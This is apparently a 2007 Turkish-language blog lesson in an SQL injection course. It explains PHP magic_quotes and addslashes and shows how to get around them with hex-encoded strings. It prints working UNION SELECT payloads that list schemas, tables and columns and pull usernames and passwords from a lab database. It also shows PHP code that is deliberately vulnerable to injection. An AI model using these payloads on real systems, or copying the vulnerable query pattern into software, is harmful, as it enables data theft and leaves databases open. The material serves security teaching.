1. Giriş
2. Magic Quotes Nedir?
3. Kar-Zarar
4. Magic Quotes'i Aşmak?
5. Magic Quotes'i Aşamamak?
6. Ders Sonu Notları
7. Referanslar

GİRİŞ

Bu yazımızla birlikte temel düzeydeki SQL hacking yöntemlerini bitirip, artık 200 kodlu derslerle birlikte Blind SQL Injectiona başlayacağız. Ondan dolayı bu dersimiz aslında ilk 3 dersimizde değinmediğimiz konulara toplu bir bakış olacak ve yine bu sebeple teori ve lab içerisinde anlatılacak mevzuular arasında konu bütünlüğü pek yok.Eksik kalan yerleri anlatacağız, ve 100 kodlu derslerimiz bitmiş olacak.

Bu dersimizde :

• Magic Quotes
  • Nedir
  • Kar - Zarar
  • Nasıl Aşılır
  • Nasıl Aşılamaz
• INTO OUTFILE
• LOAD_FILE

Magic Quotes Nedir?

Magic Quotes, php.ini 'den ayarlanabilen, SQL Injection'i bir nebze olsun önlemek için düşünülmüş, web sunucusu katmanında çalışan bir kontroldür.

Genel olarak iki şekilde SQL Injection yapılır, ya var olan dinamik sorgu ( ' ) tek tırnak , ( ; ) noktalı virgül gibi meta karakterle manipule edilip veya sonlandırılıp ikincil bir sorgu yazılır (bkz SQLi 101), ya da numerik veri beklenen yerlere numerik verinin arkasından ilgili payload'ları(bkz SQLi 102 && SQLi 103) girersiniz, ve olaylar gelişir.

Magic Quotes'in kontrolünün yaptığı HTTP paketinin GET,POST,COOKIE bölümlerindeki veriyi addslashes() fonksiyonunun yaptığı gibi ' (tek tırnak), " (çift tırnak) ve boşluk (NULL) karakterin önüne \ (ters slash) koyarak sorguyu manipule etme ihtimalini ortadan kaldırmaktır.

C ile programlama yapmış olanlar bilirler, örneğin C 'de "\" karakteri bir meta karakterdir, ekrana direkt olarak bastırılamaz, bastırmak için printf fonksiyonuna iki tane ters slash göndermeniz gerekir (printf("\\");)
Magic Quotes'in de tam olarak yaptığı budur aslında, meta karakterlerin önüne bir ters slash ekleyerek onların meta karakter olmadığını SQL sunucuya göstermek!

Kar - Zarar

Avantajları :

• Web uygulaması geliştirmeye yeni başlayanları belli ölçülerde SQL Injection'a karşı korur.

Negatif Yönleri:

• GET , POST ya da COOKIE'deki her veri dinamik SQL sorgularına katılmayabilir, yani her meta karakterden kaçmayanın mantığı yoktur ve boşu boşuna performans kaybı olur.
• Meta karakter kullanılmadan yapılan enjeksiyonları kesemez, örneğin nümerik olanları.
• Taşınabilirliği azaltır, zira yazacağınız kodun hangi ortamda çalışacağını ya da hostinginizdeki php.ini dosyasında hangi ayarın kullanıldığını bilemez ve bu kontrole güvenemezsiniz.

Zaten negatif yönlerini PHP takımı da görmüş olmalı ki PHP 6.0'dan itibaren magic_quotes kullanılmayacak.

Magic Quotes'u Aşmak

Örneğin, SQL Injection 103'deki örneği inceleyelim :

1 $id=$_POST["id"];
2 $sql="SELECT username,email FROM users WHERE id = $id";
3 $result=mysql_query($sql); 

Öncelikli olarak, INFORMATON_SCHEMA.SCHEMATA tablosundan, veritabanlarını çekmek için

-1 UNION SELECT SCHEMA_NAME,1 FROM INFORMATION_SCHEMA.SCHEMATA;

-1 UNION SELECT TABLE_NAME,1 FROM INFORMATION_SCHEMA.TABLES 
WHERE TABLE_SCHEMA='sql_injection_lessons'

-1 UNION SELECT COLUMN_NAME,1 FROM INFORMATION_SCHEMA.COLUMNS 
WHERE TABLE_NAME='users' && TABLE_SCHEMA='sql_injection_lessons'

-1 UNION SELECT USERNAME,PASSWORD FROM SQL_INJECTION_LESSONS.USERS

1 $id=addslashes($_POST["id"]);
2 $sql="SELECT username,email FROM users WHERE id = $id";
3 $result=mysql_query($sql); 

mysql> SELECT 0x616263;
        -> 'abc'

İlk denemelerimde ASCII tablodan kontrol edip elle yazıyordum fakat çok uğraştıran bir yöntem olduğu için, javascript bir tool hazırlamaya karar verdim ve geçenlerde siteden release ettim: Magic Quotes Bypassing Tool  
Payload'lardaki kırmızı renklendirilmiş meta karakter içeren stringleri, hexadecimal olarak yazarsanız göreceğiniz üzere yine başarılı şekilde kodu exploit edebileceksiniz.

Magic Quotes'u Aşamamak

Enjeksiyon yapılabilecek değişken dinamik sorguya eklenirken başına ' getirildiyse , yani beklenen data veritabanına string olarak yollanacaksa, diğer bir deyişle nümerik değilse injection yapılamaz.

1 $id=addslashes($_POST["id"]);
2 $sql="SELECT username,email FROM users WHERE id = '$id'";
3 $result=mysql_query($sql); 

En basit şekilde injection yapabilir miyiz diye kontrol etmek için ID parametresine 0 or 1 yollarız,ve açık varsa database'deki tüm kullanıcıları ve mail adreslerini çeker, bunu member.php'nin yukaridaki versiyonlarında deneyebilirsiniz, fakat son hali üzerinde denersek oluşacak dinamik SQL query :

SELECT username,email FROM users WHERE id = 0 or 1

SELECT username,email FROM users WHERE id = 0 or 1

Gördüğünüz üzere " ' "  koyarak nümerik SQLi'leri engelledik, ve diğer injection'ları magic quote'ların zaten engellediğini başlığın ilk paragrafında söylemiştik. Şimdi de neden aşamayacağımızı açıklayalım.

Öncelikli olarak SQLi101 dersimizde bir log-in panelini bypass etmiştik, ve injection noktamız bir string değişkendi, yani ( ' ) tırnak olmasına rağmen exploit edilebilmişti, zira oradaki kodda ( ' ) tırnak ile yine query'iyi istediğimiz zaman bitiriyorduk, arkasından da (--) koyarak sorgunun geri kalan kısmını comment içine alıyorduk.Aynı tekniği magic_quote'lar kapaylıyken burada da uygulayabiliriz, fakat magic_quote'lar açıkken gireceğimiz tırnak karakterini meta karakter olarak görüp başına (\) ters slash getirecek ve bizim tırnağımız meta karakter özelliğiyle sorguyu bitiremeyecektir.Bundan dolayı sonrasında gelecek olan comment (--) operatörü de vazifesini göremeyecek, geri kalan her şey query'e katılacak ve manipülasyon şansımız kalmayacaktır.

Örnekle anlatıp bitirelim, member.php v2.0'da id parametresini

-1' UNION SELECT COLUMN_NAME,1 FROM INFORMATION_SCHEMA.COLUMNS 
WHERE TABLE_NAME='users' &&TABLE_SCHEMA='sql_injection_lessons' -- 

payloadu ile denersek oluşacak dinamik SQL sorgusu :

1 SELECT username,email FROM users WHERE id = '-1' UNION 
2 SELECT COLUMN_NAME,1 FROM INFORMATION_SCHEMA.COLUMNS 
3 WHERE TABLE_NAME='users' &&TABLE_SCHEMA='sql_injection_lessons' -- '

görüldüğü üzere son tırnak yoruma dahil olacağı için istediğimiz gibi manipule ettik.
Fakat magic_qoutes'u ya da addslashes()'i olayın içine sokarsak, yani member.php v3.0 'a aynı payload'u yollarsak oluşacak dinamik sorgu :

SELECT username,email FROM users WHERE id = '-1\' UNION SELECT
COLUMN_NAME, 1 FROM INFORMATION_SCHEMA.COLUMNS  WHERE  
TABLE_NAME = \'users\' &&  TABLE_SCHEMA = \'sql_injection_lessons\' -- '

Add a comment

Posted by Mesut TİMUR on 25 Kasım 2007 Pazar 17:39:24 EET#